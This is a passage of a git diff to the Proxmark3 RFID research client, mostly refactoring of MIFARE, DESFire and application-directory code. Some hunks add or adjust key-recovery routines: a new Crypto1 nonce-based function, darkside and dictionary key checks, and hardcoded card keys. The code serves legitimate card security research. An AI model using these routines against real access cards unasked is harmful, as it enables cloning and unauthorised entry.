memory"); return; + } memcpy(dstdata, srcdata, srcdatalen); *dstdatalen = srcdatalen; @@ -313,6 +312,10 @@ static void DesfireSecureChannelEncodeD40(DesfireContext_t *ctx, uint8_t cmd, ui size_t srcmaclen = padded_data_length(srcdatalen - hdrlen, desfire_get_key_block_length(ctx->keyType)); uint8_t mac[32] = {0}; + PrintAndLogEx(DEBUG, "MACing"); + // Even though original DESFire (MF3ICD40) silicon can only encrypt which means normally + // every PCD operation must be decrypt, verifying a MAC involves the same operation on both + // sides so this is still encrypt here DesfireCryptoEncDecEx(ctx, DCOSessionKeyMac, data, srcmaclen, NULL, true, true, mac); if (DesfireEV1D40TransmitMAC(ctx, cmd)) { @@ -360,6 +363,7 @@ static void DesfireSecureChannelEncodeEV1(DesfireContext_t *ctx, uint8_t cmd, ui uint8_t *data = calloc(DESFIRE_BUFFER_SIZE, sizeof(uint8_t)); if (data == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); return; } @@ -425,8 +429,10 @@ static void DesfireSecureChannelEncodeEV1(DesfireContext_t *ctx, uint8_t cmd, ui static void DesfireSecureChannelEncodeEV2(DesfireContext_t *ctx, uint8_t cmd, uint8_t *srcdata, size_t srcdatalen, uint8_t *dstdata, size_t *dstdatalen) { uint8_t *data = calloc(DESFIRE_BUFFER_SIZE, sizeof(uint8_t)); - if (data == NULL) + if (data == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); return; + } memcpy(dstdata, srcdata, srcdatalen); *dstdatalen = srcdatalen; @@ -468,9 +474,10 @@ static void DesfireSecureChannelEncodeEV2(DesfireContext_t *ctx, uint8_t cmd, ui static void DesfireSecureChannelEncodeLRP(DesfireContext_t *ctx, uint8_t cmd, uint8_t *srcdata, size_t srcdatalen, uint8_t *dstdata, size_t *dstdatalen) { uint8_t *data = calloc(DESFIRE_BUFFER_SIZE, sizeof(uint8_t)); - if (data == NULL) + if (data == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); return; - + } memcpy(dstdata, srcdata, srcdatalen); *dstdatalen = srcdatalen; @@ -534,9 +541,10 @@ void DesfireSecureChannelEncode(DesfireContext_t *ctx, uint8_t cmd, uint8_t *src static void DesfireSecureChannelDecodeD40(DesfireContext_t *ctx, uint8_t *srcdata, size_t srcdatalen, uint8_t respcode, uint8_t *dstdata, size_t *dstdatalen) { uint8_t *data = calloc(DESFIRE_BUFFER_SIZE, sizeof(uint8_t)); - if (data == NULL) + if (data == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); return; - + } memcpy(dstdata, srcdata, srcdatalen); *dstdatalen = srcdatalen; @@ -782,8 +790,10 @@ static void DesfireISODecode(DesfireContext_t *ctx, uint8_t *srcdata, size_t src return; uint8_t *data = calloc(DESFIRE_BUFFER_SIZE, 1); - if (data == NULL) + if (data == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); return; + } uint8_t maclen = DesfireGetMACLength(ctx); if (DesfireIsAuthenticated(ctx)) { @@ -889,4 +899,3 @@ bool PrintChannelModeWarning(uint8_t cmd, DesfireSecureChannel secureChannel, De return found; } - diff --git a/client/src/mifare/gen4.c b/client/src/mifare/gen4.c index 7bd1ae582..7487d127d 100644 --- a/client/src/mifare/gen4.c +++ b/client/src/mifare/gen4.c @@ -181,7 +181,7 @@ int mfG4GetBlock(uint8_t *pwd, uint8_t blockno, uint8_t *data, uint8_t workFlags SendCommandNG(CMD_HF_MIFARE_G4_RDBL, (uint8_t *)&payload, sizeof(payload)); PacketResponseNG resp; if (WaitForResponseTimeout(CMD_HF_MIFARE_G4_RDBL, &resp, 1500) == false) { - PrintAndLogEx(WARNING, "command execute timeout"); + PrintAndLogEx(WARNING, "command execution time out"); return PM3_ETIMEOUT; } @@ -209,7 +209,7 @@ int mfG4SetBlock(uint8_t *pwd, uint8_t blockno, uint8_t *data, uint8_t workFlags SendCommandNG(CMD_HF_MIFARE_G4_WRBL, (uint8_t *)&payload, sizeof(payload)); PacketResponseNG resp; if (WaitForResponseTimeout(CMD_HF_MIFARE_G4_WRBL, &resp, 1500) == false) { - PrintAndLogEx(WARNING, "command execute timeout"); + PrintAndLogEx(WARNING, "command execution time out"); return PM3_ETIMEOUT; } diff --git a/client/src/mifare/mad.c b/client/src/mifare/mad.c index 54f67a6a4..eae149a4c 100644 --- a/client/src/mifare/mad.c +++ b/client/src/mifare/mad.c @@ -69,8 +69,13 @@ static int open_mad_file(json_t **root, bool verbose) { goto out; } - if (verbose) - PrintAndLogEx(SUCCESS, "Loaded file " _YELLOW_("`%s`") " (%s) %zu records.", path, _GREEN_("ok"), json_array_size(*root)); + if (verbose) { + PrintAndLogEx(SUCCESS, "Loaded file `" _YELLOW_("%s") "` " _GREEN_("%zu") " records ( " _GREEN_("ok") " )" + , path + , json_array_size(*root) + ); + } + out: free(path); return retval; @@ -140,15 +145,19 @@ static int print_aid_description(json_t *root, uint16_t aid, char *fmt, bool ver } if (verbose) { - PrintAndLogEx(SUCCESS, " MAD: %s", vmad); - if (application) - PrintAndLogEx(SUCCESS, " Application: %s", application); - if (company) - PrintAndLogEx(SUCCESS, " Company: %s", company); - if (provider) - PrintAndLogEx(SUCCESS, " Service provider: %s", provider); - if (integrator) - PrintAndLogEx(SUCCESS, " System integrator: %s", integrator); + PrintAndLogEx(SUCCESS, " MAD................. %s", vmad); + if (application) { + PrintAndLogEx(SUCCESS, " Application......... %s", application); + } + if (company) { + PrintAndLogEx(SUCCESS, " Company............. %s", company); + } + if (provider) { + PrintAndLogEx(SUCCESS, " Service provider.... %s", provider); + } + if (integrator) { + PrintAndLogEx(SUCCESS, " System integrator... %s", integrator); + } } return PM3_SUCCESS; } @@ -183,7 +192,7 @@ static uint16_t madGetAID(const uint8_t *sector, bool swapmad, int MADver, int s } } -int MADCheck(uint8_t *sector0, uint8_t *sector10, bool verbose, bool *haveMAD2) { +int MADCheck(uint8_t *sector0, uint8_t *sector16, bool verbose, bool *haveMAD2) { if (sector0 == NULL) return PM3_EINVARG; @@ -217,13 +226,13 @@ int MADCheck(uint8_t *sector0, uint8_t *sector10, bool verbose, bool *haveMAD2) PrintAndLogEx(SUCCESS, "CRC8...... 0x%02X ( %s )", sector0[16], _GREEN_("ok")); } - if (mad_ver == 2 && sector10) { - int res2 = madCRCCheck(sector10, true, 2); + if (mad_ver == 2 && sector16) { + int res2 = madCRCCheck(sector16, true, 2); if (res == PM3_SUCCESS) res = res2; if (verbose && !res2) - PrintAndLogEx(SUCCESS, "CRC8...... 0x%02X ( %s )", sector10[0], _GREEN_("ok")); + PrintAndLogEx(SUCCESS, "CRC8...... 0x%02X ( %s )", sector16[0], _GREEN_("ok")); } // MA (multi-application card) @@ -236,27 +245,30 @@ int MADCheck(uint8_t *sector0, uint8_t *sector10, bool verbose, bool *haveMAD2) return res; } -int MADDecode(uint8_t *sector0, uint8_t *sector10, uint16_t *mad, size_t *madlen, bool swapmad) { +int MADDecode(uint8_t *sector0, uint8_t *sector16, uint16_t *mad, size_t *madlen, bool swapmad) { *madlen = 0; bool haveMAD2 = false; - int res = MADCheck(sector0, sector10, false, &haveMAD2); + int res = MADCheck(sector0, sector16, false, &haveMAD2); if (res != PM3_SUCCESS) { PrintAndLogEx(WARNING, "Not a valid MAD"); return res; } - for (int i = 1; i < 16; i++) { + // 7 + 8 == 15 + for (int i = 1; i <= 16; i++) { mad[*madlen] = madGetAID(sector0, swapmad, 1, i); (*madlen)++; } if (haveMAD2) { - // mad2 sector (0x10 == 16dec) here + // mad2 sector (0x10 == 16) here mad[*madlen] = 0x0005; (*madlen)++; + // 7 + 8 + 8 == 23 for (int i = 1; i < 24; i++) { - mad[*madlen] = madGetAID(sector10, swapmad, 2, i); + mad[*madlen] = madGetAID(sector16, swapmad, 2, i); + (*madlen)++; } } @@ -305,7 +317,6 @@ static int MADInfoByteDecode(const uint8_t *sector, bool swapmad, int mad_ver, b void MADPrintHeader(void) { PrintAndLogEx(NORMAL, ""); PrintAndLogEx(INFO, "--- " _CYAN_("MIFARE App Directory Information") " ----------------"); - PrintAndLogEx(INFO, "-----------------------------------------------------"); } int MAD1DecodeAndPrint(uint8_t *sector, bool swapmad, bool verbose, bool *haveMAD2) { @@ -347,8 +358,16 @@ int MAD1DecodeAndPrint(uint8_t *sector, bool swapmad, bool verbose, bool *haveMA aid ); } else { - char fmt[60]; - snprintf(fmt, sizeof(fmt), (ibs == i) ? _MAGENTA_(" %02d [%04X]%s") : " %02d [" _GREEN_("%04X") "]%s", i, aid, "%s"); + char fmt[80]; + snprintf(fmt + , sizeof(fmt) + , (ibs == i) ? + _MAGENTA_(" %02d [%04X] %s") : + " %02d [" _GREEN_("%04X") "] %s" + , i + , aid + , "%s" + ); print_aid_description(mad_known_aids, aid, fmt, verbose); prev_aid = aid; } @@ -388,20 +407,28 @@ int MAD2DecodeAndPrint(uint8_t *sector, bool swapmad, bool verbose) { uint16_t aid = madGetAID(sector, swapmad, 2, i); if (aid < 6) { PrintAndLogEx(INFO, - (ibs == i) ? _MAGENTA_(" %02d [%04X] %s") : " %02d [" _GREEN_("%04X") "] %s", + (ibs == i + 16) ? _MAGENTA_(" %02d [%04X] %s") : " %02d [" _GREEN_("%04X") "] %s", i + 16, aid, aid_admin[aid] ); } else if (prev_aid == aid) { PrintAndLogEx(INFO, - (ibs == i) ? _MAGENTA_(" %02d [%04X] continuation") : " %02d [" _YELLOW_("%04X") "] continuation", + (ibs == i + 16) ? _MAGENTA_(" %02d [%04X] continuation") : " %02d [" _YELLOW_("%04X") "] continuation", i + 16, aid ); } else { - char fmt[60]; - snprintf(fmt, sizeof(fmt), (ibs == i) ? _MAGENTA_(" %02d [%04X]%s") : " %02d [" _GREEN_("%04X") "]%s", i + 16, aid, "%s"); + char fmt[80]; + snprintf(fmt + , sizeof(fmt) + , (ibs == i + 16) ? + _MAGENTA_(" %02d [%04X] %s") : + " %02d [" _GREEN_("%04X") "] %s" + , i + 16 + , aid + , "%s" + ); print_aid_description(mad_known_aids, aid, fmt, verbose); prev_aid = aid; } @@ -415,22 +442,24 @@ int MADDFDecodeAndPrint(uint32_t short_aid, bool verbose) { open_mad_file(&mad_known_aids, false); char fmt[128]; - snprintf(fmt, sizeof(fmt), " MAD AID Function 0x%04X :" _YELLOW_("%s"), short_aid, "%s"); + snprintf(fmt, sizeof(fmt), " MAD AID Function 0x%04X... " _YELLOW_("%s"), short_aid, "%s"); print_aid_description(mad_known_aids, short_aid, fmt, verbose); close_mad_file(mad_known_aids); return PM3_SUCCESS; } bool HasMADKey(uint8_t *d) { - if (d == NULL) + if (d == NULL) { return false; + } return (memcmp(d + (3 * MFBLOCK_SIZE), g_mifare_mad_key, sizeof(g_mifare_mad_key)) == 0); } int DetectHID(uint8_t *d, uint16_t manufacture) { - if (d == NULL) + if (d == NULL) { return -1; + } // find HID for (int i = 1; i < 16; i++) { @@ -456,16 +485,16 @@ int convert_mad_to_arr(uint8_t *in, uint16_t ilen, uint8_t *out, uint16_t *olen) } uint8_t sector0[MFBLOCK_SIZE * 4] = {0}; - uint8_t sector10[MFBLOCK_SIZE * 4] = {0}; + uint8_t sector16[MFBLOCK_SIZE * 4] = {0}; memcpy(sector0, in, sizeof(sector0)); if (ilen == MIFARE_4K_MAX_BYTES) { - memcpy(sector10, in + (MF_MAD2_SECTOR * 4 * MFBLOCK_SIZE), sizeof(sector10)); + memcpy(sector16, in + (MF_MAD2_SECTOR * 4 * MFBLOCK_SIZE), sizeof(sector16)); } uint16_t mad[7 + 8 + 8 + 8 + 8] = {0}; size_t madlen = 0; - if (MADDecode(sector0, sector10, mad, &madlen, false)) { + if (MADDecode(sector0, sector16, mad, &madlen, false)) { PrintAndLogEx(ERR, "can't decode MAD"); return PM3_ESOFT; } diff --git a/client/src/mifare/mad.h b/client/src/mifare/mad.h index d1f5240f4..1da097527 100644 --- a/client/src/mifare/mad.h +++ b/client/src/mifare/mad.h @@ -21,8 +21,8 @@ #include "common.h" -int MADCheck(uint8_t *sector0, uint8_t *sector10, bool verbose, bool *haveMAD2); -int MADDecode(uint8_t *sector0, uint8_t *sector10, uint16_t *mad, size_t *madlen, bool swapmad); +int MADCheck(uint8_t *sector0, uint8_t *sector16, bool verbose, bool *haveMAD2); +int MADDecode(uint8_t *sector0, uint8_t *sector16, uint16_t *mad, size_t *madlen, bool swapmad); int MAD1DecodeAndPrint(uint8_t *sector, bool swapmad, bool verbose, bool *haveMAD2); int MAD2DecodeAndPrint(uint8_t *sector, bool swapmad, bool verbose); int MADDFDecodeAndPrint(uint32_t short_aid, bool verbose); diff --git a/client/src/mifare/mfkey.c b/client/src/mifare/mfkey.c index 0d905a65e..33c79b185 100644 --- a/client/src/mifare/mfkey.c +++ b/client/src/mifare/mfkey.c @@ -151,7 +151,7 @@ bool mfkey32_moebius(nonces_t *data, uint64_t *outputkey) { if (data->ar2 == (crypto1_word(t, 0, 0) ^ p641)) { outkey = key; ++counter; - if (counter == 20) break; + if (counter == 2) break; } } isSuccess = (counter == 1); @@ -160,6 +160,38 @@ bool mfkey32_moebius(nonces_t *data, uint64_t *outputkey) { return isSuccess; } +// recover key from 2 reader responses on 2 different tag challenges +// skip "several found keys". Only return true if ONE key is found +bool mfkey32_nested(nonces_t *data, uint64_t *outputkey) { + struct Crypto1State *s, *t; + uint64_t key = 0; // recovered key + bool isSuccess = false; + + uint32_t uid = data->cuid; + uint32_t nt = data->nonce; + uint32_t nt_enc = data->nonce2; + uint32_t ar = prng_successor(nt, 64); + uint32_t nr_enc = data->nr; + uint32_t ar_enc = data->ar; + uint32_t ks0 = nt_enc ^ nt; + uint32_t ks2 = ar_enc ^ ar; + s = lfsr_recovery32(ks0, uid ^ nt); + for (t = s; t->odd | t->even; ++t) { + crypto1_word(t, nr_enc, 1); + if (ks2 == crypto1_word(t, 0, 0)) { + lfsr_rollback_word(t, 0, 0); + lfsr_rollback_word(t, nr_enc, 1); + lfsr_rollback_word(t, uid ^ nt, 0); + crypto1_get_lfsr(t, &key); + isSuccess = true; + break; + } + } + *outputkey = (isSuccess) ? key : 0; + crypto1_destroy(s); + return isSuccess; +} + // recover key from reader response and tag response of one authentication sequence int mfkey64(nonces_t *data, uint64_t *outputkey) { uint64_t key = 0; // recovered key diff --git a/client/src/mifare/mfkey.h b/client/src/mifare/mfkey.h index 22ee47836..18e87d038 100644 --- a/client/src/mifare/mfkey.h +++ b/client/src/mifare/mfkey.h @@ -26,6 +26,7 @@ uint32_t nonce2key(uint32_t uid, uint32_t nt, uint32_t nr, uint32_t ar, uint64_t par_info, uint64_t ks_info, uint64_t **keys); bool mfkey32(nonces_t *data, uint64_t *outputkey); bool mfkey32_moebius(nonces_t *data, uint64_t *outputkey); +bool mfkey32_nested(nonces_t *data, uint64_t *outputkey); int mfkey64(nonces_t *data, uint64_t *outputkey); int compare_uint64(const void *a, const void *b); diff --git a/client/src/mifare/mifare4.c b/client/src/mifare/mifare4.c index 85af35820..ea7986441 100644 --- a/client/src/mifare/mifare4.c +++ b/client/src/mifare/mifare4.c @@ -210,15 +210,18 @@ int MifareAuth4(mf4Session_t *mf4session, const uint8_t *keyn, uint8_t *key, boo uint8_t RndA[17] = {0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f, 0x00}; uint8_t RndB[17] = {0}; - if (silentMode) + if (silentMode) { verbose = false; + } - if (mf4session) + if (mf4session) { mf4session->Authenticated = false; + } uint8_t cmd1[] = {0x70, keyn[1], keyn[0], 0x00}; int res = ExchangeRAW14a(cmd1, sizeof(cmd1), activateField, true, data, sizeof(data), &datalen, silentMode); if (res != PM3_SUCCESS) { + if (silentMode == false) { PrintAndLogEx(ERR, "Exchange raw error: %d", res); } @@ -234,20 +237,35 @@ int MifareAuth4(mf4Session_t *mf4session, const uint8_t *keyn, uint8_t *key, boo } if (datalen < 1) { - if (!silentMode) PrintAndLogEx(ERR, "Card response wrong length: %d", datalen); - if (dropFieldIfError) DropField(); + if (silentMode == false) { + PrintAndLogEx(ERR, "Card response wrong length: %d", datalen); + } + + if (dropFieldIfError) { + DropField(); + } return PM3_EWRONGANSWER; } if (data[0] != 0x90) { - if (!silentMode) PrintAndLogEx(ERR, "Card response error: %02x %s", data[0], mfpGetErrorDescription(data[0])); - if (dropFieldIfError) DropField(); + if (silentMode == false) { + PrintAndLogEx(ERR, "Card response error: %02x %s", data[0], mfpGetErrorDescription(data[0])); + } + + if (dropFieldIfError) { + DropField(); + } return PM3_EWRONGANSWER; } if (datalen != 19) { // code 1b + 16b + crc 2b - if (!silentMode) PrintAndLogEx(ERR, "Card response must be 19 bytes long instead of: %d", datalen); - if (dropFieldIfError) DropField(); + if (silentMode == false) { + PrintAndLogEx(ERR, "Card response must be 19 bytes long instead of: %d", datalen); + } + + if (dropFieldIfError) { + DropField(); + } return PM3_EWRONGANSWER; } @@ -268,11 +286,13 @@ int MifareAuth4(mf4Session_t *mf4session, const uint8_t *keyn, uint8_t *key, boo if (verbose) { PrintAndLogEx(INFO, ">phase2: %s", sprint_hex(cmd2, 33)); } + res = ExchangeRAW14a(cmd2, sizeof(cmd2), false, true, data, sizeof(data), &datalen, silentMode); if (res != PM3_SUCCESS) { if (silentMode == false) { PrintAndLogEx(ERR, "Exchange raw error: %d", res); } + if (dropFieldIfError) { DropField(); } @@ -291,12 +311,18 @@ int MifareAuth4(mf4Session_t *mf4session, const uint8_t *keyn, uint8_t *key, boo } if (memcmp(&raw[4], &RndA[1], 16)) { - if (!silentMode) PrintAndLogEx(ERR, "\nAuthentication FAILED. rnd is not equal"); + if (silentMode == false) { + PrintAndLogEx(ERR, "\nAuthentication FAILED. rnd is not equal"); + } + if (verbose) { PrintAndLogEx(ERR, "RndA reader: %s", sprint_hex(&RndA[1], 16)); PrintAndLogEx(ERR, "RndA card: %s", sprint_hex(&raw[4], 16)); } - if (dropFieldIfError) DropField(); + + if (dropFieldIfError) { + DropField(); + } return PM3_EWRONGANSWER; } @@ -309,6 +335,7 @@ int MifareAuth4(mf4Session_t *mf4session, const uint8_t *keyn, uint8_t *key, boo uint8_t kenc[16] = {0}; memcpy(&kenc[0], &RndA[11], 5); memcpy(&kenc[5], &RndB[11], 5); + for (int i = 0; i < 5; i++) { kenc[10 + i] = RndA[4 + i] ^ RndB[4 + i]; } @@ -322,6 +349,7 @@ int MifareAuth4(mf4Session_t *mf4session, const uint8_t *keyn, uint8_t *key, boo uint8_t kmac[16] = {0}; memcpy(&kmac[0], &RndA[7], 5); memcpy(&kmac[5], &RndB[7], 5); + for (int i = 0; i < 5; i++) { kmac[10 + i] = RndA[0 + i] ^ RndB[0 + i]; } @@ -587,6 +615,8 @@ uint8_t mfFirstBlockOfSector(uint8_t sectorNo) { } } +// returns the sectortrailer block number in the range of all block no. +// ie: sector 1 has its sector trailer at block number 7 uint8_t mfSectorTrailerOfSector(uint8_t sectorNo) { if (sectorNo < 32) { return (sectorNo * 4) | 0x03; diff --git a/client/src/mifare/mifaredefault.h b/client/src/mifare/mifaredefault.h index 3b9119a83..e43c42a4b 100644 --- a/client/src/mifare/mifaredefault.h +++ b/client/src/mifare/mifaredefault.h @@ -33,6 +33,7 @@ #define MIFARE_4K_MAXBLOCK 256 #define MIFARE_2K_MAXBLOCK 128 #define MIFARE_1K_MAXBLOCK 64 +#define MIFARE_1K_EV1_MAXBLOCK (MIFARE_1K_MAXBLOCK + 8) #define MIFARE_MINI_MAXBLOCK 20 #define MIFARE_4K_MAXSECTOR 40 @@ -44,6 +45,7 @@ #define MIFARE_4K_MAX_BYTES 4096 #define MIFARE_2K_MAX_BYTES 2048 #define MIFARE_1K_MAX_BYTES 1024 +#define MIFARE_1K_EV1_MAX_BYTES (MIFARE_1K_MAX_BYTES + 128) #define MIFARE_MINI_MAX_BYTES 320 #define MIFARE_KEY_SIZE 6 @@ -119,20 +121,24 @@ static const uint64_t g_mifare_default_keys[] = { 0x96a301bce267, }; -static const uint8_t g_mifare_default_key[] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; -static const uint8_t g_mifare_mad_key[] = {0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5}; -static const uint8_t g_mifare_mad_key_b[] = {0x89, 0xEC, 0xA9, 0x7F, 0x8C, 0x2A}; +static const uint8_t g_mifare_default_key[MIFARE_KEY_SIZE] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; +static const uint8_t g_mifare_mad_key[MIFARE_KEY_SIZE] = {0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5}; +static const uint8_t g_mifare_mad_key_b[MIFARE_KEY_SIZE] = {0x89, 0xEC, 0xA9, 0x7F, 0x8C, 0x2A}; // 16 key B D01AFEEB890A -static const uint8_t g_mifare_signature_key_a[] = {0x5C, 0x8F, 0xF9, 0x99, 0x0D, 0xA2}; -static const uint8_t g_mifare_signature_key_b[] = {0x4b, 0x79, 0x1b, 0xea, 0x7b, 0xcc}; +static const uint8_t g_mifare_signature_key_a[MIFARE_KEY_SIZE] = {0x5C, 0x8F, 0xF9, 0x99, 0x0D, 0xA2}; +static const uint8_t g_mifare_signature_key_b[MIFARE_KEY_SIZE] = {0x4b, 0x79, 0x1b, 0xea, 0x7b, 0xcc}; // Manufacture MFC / QL88 (S17 / B) -static const uint8_t g_mifare_ql88_signature_key_b[] = {0x70, 0x7B, 0x11, 0xFC, 0x14, 0x81}; +static const uint8_t g_mifare_ql88_signature_key_b[MIFARE_KEY_SIZE] = {0x70, 0x7B, 0x11, 0xFC, 0x14, 0x81}; -static const uint8_t g_mifare_ndef_key[] = {0xd3, 0xf7, 0xd3, 0xf7, 0xd3, 0xf7}; +static const uint8_t g_mifare_ndef_key[MIFARE_KEY_SIZE] = {0xd3, 0xf7, 0xd3, 0xf7, 0xd3, 0xf7}; static const uint8_t g_mifarep_mad_key[] = {0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7, 0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7}; static const uint8_t g_mifarep_ndef_key[] = {0xd3, 0xf7, 0xd3, 0xf7, 0xd3, 0xf7, 0xd3, 0xf7, 0xd3, 0xf7, 0xd3, 0xf7, 0xd3, 0xf7, 0xd3, 0xf7}; +static const uint8_t g_mifare_k08s[MIFARE_KEY_SIZE] = {0xA3, 0x96, 0xEF, 0xA4, 0xE2, 0x4F}; +static const uint8_t g_mifare_k08[MIFARE_KEY_SIZE] = {0xA3, 0x16, 0x67, 0xA8, 0xCE, 0xC1}; +static const uint8_t g_mifare_k32n[MIFARE_KEY_SIZE] = {0x51, 0x8B, 0x33, 0x54, 0xE7, 0x60}; +static const uint8_t g_mifare_k32n2[MIFARE_KEY_SIZE] = {0x73, 0xB9, 0x83, 0x6C, 0xF1, 0x68}; extern const char *g_mifare_plus_default_keys[]; extern size_t g_mifare_plus_default_keys_len; diff --git a/client/src/mifare/mifarehost.c b/client/src/mifare/mifarehost.c index df44938d9..d8f3a04ed 100644 --- a/client/src/mifare/mifarehost.c +++ b/client/src/mifare/mifarehost.c @@ -43,8 +43,10 @@ #include "cmdhf14a.h" #include "gen4.h" #include "parity.h" +#include "pmflash.h" +#include "preferences.h" // setDeviceDebugLevel -int mfDarkside(uint8_t blockno, uint8_t key_type, uint64_t *key) { +int mf_dark_side(uint8_t blockno, uint8_t key_type, uint64_t *key) { uint32_t uid = 0; uint32_t nt = 0, nr = 0, ar = 0; uint64_t par_list = 0, ks_list = 0; @@ -52,7 +54,7 @@ int mfDarkside(uint8_t blockno, uint8_t key_type, uint64_t *key) { bool first_run = true; // message - PrintAndLogEx(INFO, "Expected execution time is about 25seconds on average"); + PrintAndLogEx(INFO, "Expected execution time is about " _YELLOW_("25") " seconds on average"); PrintAndLogEx(INFO, "Press " _GREEN_("pm3 button") " to abort"); while (true) { @@ -62,7 +64,7 @@ int mfDarkside(uint8_t blockno, uint8_t key_type, uint64_t *key) { //flush queue while (kbd_enter_pressed()) { SendCommandNG(CMD_BREAK_LOOP, NULL, 0); - PrintAndLogEx(WARNING, "Aborted via keyboard"); + PrintAndLogEx(WARNING, "aborted via keyboard"); return PM3_EOPABORTED; } @@ -88,7 +90,7 @@ int mfDarkside(uint8_t blockno, uint8_t key_type, uint64_t *key) { //TODO: Not really stopping the command in time. if (kbd_enter_pressed()) { SendCommandNG(CMD_BREAK_LOOP, NULL, 0); - PrintAndLogEx(WARNING, "\nAborted via keyboard"); + PrintAndLogEx(WARNING, "\naborted via keyboard"); return PM3_EOPABORTED; } @@ -183,13 +185,13 @@ int mfDarkside(uint8_t blockno, uint8_t key_type, uint64_t *key) { register uint8_t j; for (j = 0; j < size; j++) { if (par_list == 0) { - num_to_bytes(last_keylist[i * max_keys + j], 6, keyBlock + (j * 6)); + num_to_bytes(last_keylist[i * max_keys + j], MIFARE_KEY_SIZE, keyBlock + (j * MIFARE_KEY_SIZE)); } else { - num_to_bytes(keylist[i * max_keys + j], 6, keyBlock + (j * 6)); + num_to_bytes(keylist[i * max_keys + j], MIFARE_KEY_SIZE, keyBlock + (j * MIFARE_KEY_SIZE)); } } - if (mfCheckKeys(blockno, key_type - 0x60, false, size, keyBlock, key) == PM3_SUCCESS) { + if (mf_check_keys(blockno, key_type - 0x60, false, size, keyBlock, key) == PM3_SUCCESS) { break; } } @@ -208,28 +210,34 @@ int mfDarkside(uint8_t blockno, uint8_t key_type, uint64_t *key) { return PM3_SUCCESS; } -int mfCheckKeys(uint8_t blockNo, uint8_t keyType, bool clear_trace, uint8_t keycnt, uint8_t *keyBlock, uint64_t *key) { - *key = -1; - clearCommandBuffer(); +int mf_check_keys(uint8_t blockNo, uint8_t keyType, bool clear_trace, uint8_t keycnt, uint8_t *keyBlock, uint64_t *key) { + + if (key) { + *key = -1; + } + + uint8_t data[PM3_CMD_DATA_SIZE] = {0}; data[0] = keyType; data[1] = blockNo; data[2] = clear_trace; data[3] = 0; data[4] = keycnt; - memcpy(data + 5, keyBlock, 6 * keycnt); - SendCommandNG(CMD_HF_MIFARE_CHKKEYS, data, (5 + 6 * keycnt)); + memcpy(data + 5, keyBlock, MIFARE_KEY_SIZE * keycnt); + clearCommandBuffer(); + SendCommandNG(CMD_HF_MIFARE_CHKKEYS, data, (5 + MIFARE_KEY_SIZE * keycnt)); PacketResponseNG resp; if (WaitForResponseTimeout(CMD_HF_MIFARE_CHKKEYS, &resp, 2500) == false) { return PM3_ETIMEOUT; } + if (resp.status != PM3_SUCCESS) { return resp.status; } struct kr { - uint8_t key[6]; + uint8_t key[MIFARE_KEY_SIZE]; bool found; } PACKED; struct kr *keyresult = (struct kr *)&resp.data.asBytes; @@ -247,21 +255,33 @@ int mfCheckKeys(uint8_t blockNo, uint8_t keyType, bool clear_trace, uint8_t keyc // 0 == ok all keys found // 1 == // 2 == Time-out, aborting -int mfCheckKeys_fast_ex(uint8_t sectorsCnt, uint8_t firstChunk, uint8_t lastChunk, uint8_t strategy, - uint32_t size, uint8_t *keyBlock, sector_t *e_sector, bool use_flashmemory, - bool verbose, bool quiet, uint16_t singleSectorParams) { +int mf_check_keys_fast_ex(uint8_t sectorsCnt, uint8_t firstChunk, uint8_t lastChunk, uint8_t strategy, + uint32_t size, uint8_t *keyBlock, sector_t *e_sector, bool use_flashmemory, + bool verbose, bool quiet, uint16_t singleSectorParams) { uint64_t t2 = msclock(); // send keychunk clearCommandBuffer(); - SendCommandOLD(CMD_HF_MIFARE_CHKKEYS_FAST, (sectorsCnt | (firstChunk << 8) | (lastChunk << 12) | (singleSectorParams << 16)), ((use_flashmemory << 8) | strategy), size, keyBlock, 6 * size); + SendCommandOLD(CMD_HF_MIFARE_CHKKEYS_FAST + , (sectorsCnt | (firstChunk << 8) | (lastChunk << 12) | (singleSectorParams << 16)) + , ((use_flashmemory << 8) | strategy) + , size + , keyBlock + , (MIFARE_KEY_SIZE * size) + ); PacketResponseNG resp; uint32_t timeout = 0; while (WaitForResponseTimeout(CMD_ACK, &resp, 2000) == false) { - if (! quiet) { + while (kbd_enter_pressed()) { + SendCommandNG(CMD_BREAK_LOOP, NULL, 0); + PrintAndLogEx(INFO, "aborted via keyboard!"); + return PM3_EOPABORTED; + } + + if (quiet == false) { PrintAndLogEx((timeout) ? NORMAL : INFO, "." NOLF); fflush(stdout); } @@ -271,25 +291,32 @@ int mfCheckKeys_fast_ex(uint8_t sectorsCnt, uint8_t firstChunk, uint8_t lastChun // max timeout for one chunk of 85keys, 60*3sec = 180seconds // s70 with 40*2 keys to check, 80*85 = 6800 auth. // takes about 97s, still some margin before abort - if (timeout > 180) { + // timeout = 180 => ~360s @ Mifare Classic 1k @ ~2300 keys in dict + // ~2300 keys @ Mifare Classic 1k => ~620s + if (timeout > 60 * 12) { PrintAndLogEx(WARNING, "\nNo response from Proxmark3. Aborting..."); return PM3_ETIMEOUT; } } t2 = msclock() - t2; - if (timeout && ! quiet) { + if (timeout && (quiet == false)) { PrintAndLogEx(NORMAL, ""); } - // time to convert the returned data. uint8_t curr_keys = resp.oldarg[0]; if ((singleSectorParams >> 15) & 1) { + if (curr_keys) { - uint64_t foo = bytes_to_num(resp.data.asBytes, 6); + PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(SUCCESS, _GREEN_("Key %s for block %2i found: %012" PRIx64), (singleSectorParams >> 8) & 1 ? "B" : "A", singleSectorParams & 0xFF, foo); + PrintAndLogEx(SUCCESS, "\nTarget block " _GREEN_("%4u") " key type " _GREEN_("%c") " -- found valid key [ " _GREEN_("%s") " ]", + singleSectorParams & 0xFF, + ((singleSectorParams >> 8) & 1) ? 'B' : 'A', + sprint_hex_inrow(resp.data.asBytes, MIFARE_KEY_SIZE) + ); + return 